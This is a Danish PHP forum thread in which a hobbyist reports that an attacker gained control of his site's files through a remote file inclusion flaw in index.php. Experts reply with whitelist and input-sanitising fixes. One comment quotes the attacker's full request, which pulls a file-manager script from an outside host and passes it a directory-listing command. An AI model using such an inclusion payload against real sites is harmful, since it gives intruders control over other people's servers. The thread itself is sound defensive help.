Avatar billede lappe_dk Nybegynder
21. januar 2006 - 21:33 Der er 13 kommentarer

Haxplorer giver mulig for at slette mine filer?

Min side er bygget op som en index-fil med designet, der så inkluderer selve indholdet.
Jeg så tilfældigvis, at der var en inde på index.php?http://etellerandet...
Da jeg så gik ind på siden, som han var inde på, så jeg til min skræk, at når man kaldte siden gennem min index.php, fik man FULD kontrol over alle mine filer!!!
Se selv på http://img454.imageshack.us/img454/9245/haxplorer8hw.jpg

Indtil videre har jeg bare bannet hans IP, men hvordan søren, gør jeg så det ikke er muligt, at gøre på den måde???

Mvh Lars
Avatar billede erikjacobsen Ekspert
21. januar 2006 - 21:45 #1
Du sørger for at din index fil kun kan inkludere de filer du vil have den skal inkludere.
Avatar billede lappe_dk Nybegynder
21. januar 2006 - 21:53 #2
og hvordan gør jeg det?
Kan jeg gøre således, at den automatisk kun kan inkludere en fil, der ligger i en eller to bestemte mapper?
Avatar billede ducks Nybegynder
21. januar 2006 - 21:58 #3
Jeg gemmer alle de sider som skal vises i en database, og så kalder jeg dem med ID, så kan man ikke vise skjulte sider :)
Avatar billede tjens Nybegynder
21. januar 2006 - 22:24 #4
Kan du ikke forklare det lidt nærmere.

Har du installeret Haxplorer i din egen folder?
Er det en anden bruger på webhotellet, der kan navigere over i din og andre brugeres folder?
Eller er det helt udefra kommende?
Avatar billede lappe_dk Nybegynder
21. januar 2006 - 22:39 #5
Det er en fremmed, der har besøgt min side.
Istedet for at se index.php?id=forside har han skrevet "index.php?http%3A%2F%2Fmembers.lycos.nl%2Fgohwipum%2Fbanner.gif%3F&&s=r&cmd=dir&dir=."

Han har altså lagt et haxplorer script på members.lycos.nl, som han så kalder via min side. istedet for at inkludere forsiden, inkluderer han altså haxplorer scriptet, der giver ham fuld kontrol over mine filer - slette, åbne osv...
Avatar billede olebole Juniormester
21. januar 2006 - 22:47 #6
<ole>

Du må _aldrig_ anvende bruger-input direkte! Du kan f.eks. skrive:

<?
switch ($_GET["page"]) {
  case "side_noget":
      $incl_page = "sideNoget.php";
  break;
  case "side_bla":
      $incl_page = "sideBla.php";
  break;
  case "side_blabla":
      $incl_page = "sideBlaBla.php";
  break;
}

include($incl_page);

# ... osv ... osv ...
?>

/mvh
</bole>
Avatar billede olebole Juniormester
21. januar 2006 - 22:48 #7
- så kalder du siden med f.eks:
    index.php?page=side_bla
Avatar billede tjens Nybegynder
21. januar 2006 - 22:53 #8
Ja så bliver du jo nødt til at validere $id inden du bruger den i include, som erik og ducks foreslår.
Quick&Dirty: scan for http eller punktum. og sæt $id='forside' hvis tegnene findes.
Avatar billede erikjacobsen Ekspert
21. januar 2006 - 22:55 #9
Og bruger du Oles skitse til kode, skal du huske (igen noget man SKAL!) at tilføje denne linie
  $incl_page="sidenduvilvisehvismanskrevetnogetandetendduforventer.php";
før linien med
  switch ($_GET["page"]) {

Og helt generelt: Kan du ikke gennemskue hvorfor vi anbefaler alt dette, skal du kun fortsætte med at lave PHP sider for sjov.
Avatar billede lappe_dk Nybegynder
21. januar 2006 - 23:11 #10
Jo selvfølgelig, kan jeg se, hvorfor I anbefaler det.
Har også tænkt på det før, men havde dog ikke troet det var SÅ nemt at udnytte.
Desuden, så laver jeg også kun PHP sider for sjov :D
Avatar billede erikjacobsen Ekspert
21. januar 2006 - 23:20 #11
Så er der tid til at lære noget om sikkerhed, inden du skal bruge det for alvor ;)
Avatar billede olebole Juniormester
21. januar 2006 - 23:27 #12
Erik >> helt korrekt! Variabler bør altid initieres, hvilket også er obligatorisk i mange andre sprog  ;o)
Avatar billede johan.o Nybegynder
22. januar 2006 - 00:19 #13
Jeg har bl.a. brugt denne metode :

$filename="";

if(isset($_GET['link'])) {
if($_GET['link']!=preg_replace("/[^a-z0-9\/]/", "", $_GET['link'])) { header("location: index.php"); exit; }
$filename=check_link($_GET['link']);
include($filename); }

function check_link($page) {
if(file_exists($page.".htm")) { return $page.".htm"; }
if(file_exists($page.".php")) { return $page.".php"; }
if(file_exists($page.".doc")) { header("location: ".$page.".doc"); exit; }
if(file_exists($page.".pdf")) { header("location: ".$page.".pdf"); exit; }
header("location: index.php"); exit; }

Mvh. Johan
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester